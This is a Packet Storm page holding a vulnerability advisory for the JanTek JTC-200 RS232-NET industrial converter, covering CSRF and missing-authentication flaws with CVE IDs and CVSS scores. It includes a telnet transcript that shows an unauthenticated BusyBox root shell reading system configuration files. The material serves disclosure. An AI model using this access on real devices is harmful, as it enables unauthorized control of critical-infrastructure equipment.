exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

JanTek JTC-200 RS232-NET Connector CSRF / Missing Authentication

JanTek JTC-200 RS232-NET Connector CSRF / Missing Authentication
Posted Oct 31, 2017
Authored by Karn Ganeshen

JanTek JTC-200 RS232-NET Connector suffers from cross site request forgery and missing authentication vulnerabilities.

tags | exploit, vulnerability, csrf
advisories | CVE-2016-5789, CVE-2016-5791
SHA-256 | c7609342cf2c7e5053c6d7835d18f3713bed53c9a2e04ffdb132de5d57800d31

JanTek JTC-200 RS232-NET Connector CSRF / Missing Authentication

Change Mirror Download
Vendor: JanTek
Equipment: JTC-200
Vulnerabilities: Cross-site Request Forgery, Improper Authentication

Advisory URL:
https://ipositivesecurity.com/2017/10/28/ics-jantek-jtc-200-rs232-net-converter-advisory-published/

ICS-CERT Advisory
https://ics-cert.us-cert.gov/advisories/ICSA-17-283-02

CVE-ID
CVE-2016-5789
CVE-2016-5791

Detailed Proof of Concept:
https://ipositivesecurity.com/2016/07/05/rs232-net-converter-model-jtc-200-multiple-vulnerabilities/

------------------------
AFFECTED PRODUCTS
------------------------

The following versions of JTC-200, a TCP/IP converter, are affected:
JTC-200 all versions.

------------------------
BACKGROUND
------------------------
Critical Infrastructure Sectors: Critical Manufacturing
Countries/Areas Deployed: Europe and Asia
Company Headquarters Location: Taiwan


------------------------
IMPACT
------------------------
Successful exploitation of these vulnerabilities allow for remote code
execution on the device with elevated privileges.

------------------------
VULNERABILITY OVERVIEW
------------------------

CROSS-SITE REQUEST FORGERY (CSRF) CWE-352
An attacker could perform actions with the same permissions as a victim
user, provided the victim has an active session and is induced to trigger
the malicious request.

CVE-2016-5789 has been assigned to this vulnerability. A CVSS v3 base score
of 8.0 has been assigned; the CVSS vector string is
(AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H).

IMPROPER AUTHENTICATION CWE-287
The improper authentication could provide undocumented Busybox Linux shell
accessible over Telnet service without any authentication.

CVE-2016-5791 has been assigned to this vulnerability. A CVSS v3 base score
of 9.8 has been assigned; the CVSS vector string is
(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

---------
Trying IP...
Connected to IP.
Escape character is '^]'.
BusyBox v0.60.4 (2008.02.21-16:59+0000) Built-in shell (msh)
Enter 'help' for a list of built-in commands.
#
BusyBox v0.60.4 (2008.02.21-16:59+0000) multi-call binary
Usage: busybox [function] [arguments]...
or: [function] [arguments]...
BusyBox is a multi-call binary that combines many common Unix utilities into a single executable. Most people will create a link to busybox for each function they wish to use, and BusyBox will act like whatever it was invoked as.
Currently defined functions:
[, busybox, cat, cp, df, hostname, ifconfig, init, kill, killall, ls, mkdir, mknod, mount, msh, mv, ping, ps, pwd, rm, sh, test, touch, vi
#
# ls
bin dev etc nfs proc swap usb var
# cd etc
# ls
ConfigPage WRConfig.ini config inetd.conf inittab ppp protocols rc resolv.conf services
# cat inetd.conf
telnet stream tcpnowait root /bin/telnetd
#
---------

------------------------
Technical Details
------------------------
https://ipositivesecurity.com/2016/07/05/rs232-net-converter-model-jtc-200-multiple-vulnerabilities/

+++++
Best Regards,
Karn Ganeshen


Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    17 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close